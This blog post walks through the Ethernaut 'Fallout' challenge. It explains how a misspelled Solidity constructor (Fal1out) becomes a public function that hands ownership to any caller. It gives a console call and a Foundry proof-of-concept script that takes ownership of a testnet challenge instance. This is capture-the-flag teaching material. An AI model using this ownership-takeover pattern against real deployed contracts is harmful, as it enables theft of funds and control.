The Ethernaut CTF Solutions | 02 - Fallout
The necessity of code reviews and proper testing.

Search for a command to run...
The necessity of code reviews and proper testing.

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Predicting the Unpredictable: Outsmarting Solidity's Pseudo-Randomness
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

Unlike a normal function that can be called anytime, a constructor is only executed once during the creation of the contract. In solidity versions before 0.8.0, a constructor was defined by naming it the same as your contract's name.
pragma solidity ^0.6.0;
contract Foo {
// This is a constructor, same name as the contract
function Foo() public payable {}
// This is a function
function foo() public payable {}
}
Unfortunately, the typo in the Fal1out() function converts it to a normal function instead of a constructor. Because of that, Fal1out() is a public function that anyone can call to take ownership of the contract.
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
The Fal1out function should have been named Fallout.
Since solidity 0.8.0, a special keyword constructor has been introduced:
pragma solidity ^0.8.0;
contract Foo {
// This is a constructor
constructor () payable {}
// This is a function not following best practices
function Foo() public payable {}
// This is a function
function foo() public payable {}
}
Simply call the Fal1out() function to take ownership of the contract.
await contract.Fal1out();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
interface IFal1out {
function Fal1out() external payable;
function owner() external view returns (address);
}
contract PoC is Script {
// Replace this with your Fallout instance
IFal1out fal1out = IFal1out(0x74AeDd06d77592Fbf41dcd0fa39B04894DB78C52);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Current owner: ", fal1out.owner());
fal1out.Fal1out();
console2.log("New owner: ", fal1out.owner());
vm.stopBroadcast();
}
}
And the script to deploy our newly crafted contract:
forge script script/02_Fal1out.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
🎉 Level completed 🎉
Review your code carefully and multiple times before deploying it.
Use tests to catch obvious bugs like this one.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/